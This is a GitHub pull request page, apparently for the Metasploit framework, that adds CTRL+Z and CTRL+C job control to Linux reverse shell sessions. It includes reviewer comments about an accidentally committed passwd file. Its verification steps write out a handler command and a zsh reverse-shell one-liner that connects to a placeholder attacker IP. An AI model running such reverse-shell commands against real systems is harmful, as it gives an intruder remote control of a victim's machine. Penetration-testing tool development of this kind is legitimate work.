-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
[GSoC] Implementation of CTRL+Z in reverse shell session #10450
Conversation
123
Outdated
@@ -0,0 +1,45 @@ | |||
root:x:0:0:root:/root:/usr/bin/zsh |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I don't think you meant to commit this file?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
at least it wasn't shadow...
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
oh, it's my fault....I accidentally submitted the test file, I will completely remove this file from the warehouse later today.
Hey @WangYihang , I apologize for taking so long to land this. Your changes worked great in Linux, but the characters sent didn't work for a Windows environment. Instead, it caused the next command to fail. So I wrapped both the CTRL-Z and CTRL-C commands in a quick check to avoid windows shells. |
Additionally, a check was added to disable this new functionality on Windows command shell payloads.
Release NotesThis adds support to Linux command shell payloads to send CTRL+C and CTRL+Z to the foreground process, allowing for job control of processes that would have otherwise required launching a new payload. |
Additionally, a check was added to disable this new functionality on Windows command shell payloads.
That's great! Thank all the tremendous help of all you guys so much~ |
Description
Implementation of CTRL+Z to send a SIGINT signal to the reverse shell session
Verification of CTRL+Z
./msfconsole -qx 'use multi/handler; set payload cmd/unix/reverse_zsh; set LHOST 127.0.0.1; set LPORT 4444; exploit'
zsh -c 'zmodload zsh/net/tcp && ztcp [ATTACKER_IP] [ATTACKER_PORT] && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
shell
, press enter (enter interactive shell mode) (output would be like this:)sleep 100
is running, press CTRL+Z, then you will see:Y
, you will background the whole reverse shell sessionN
, you will see the foreground process on the victim machine isEnvironment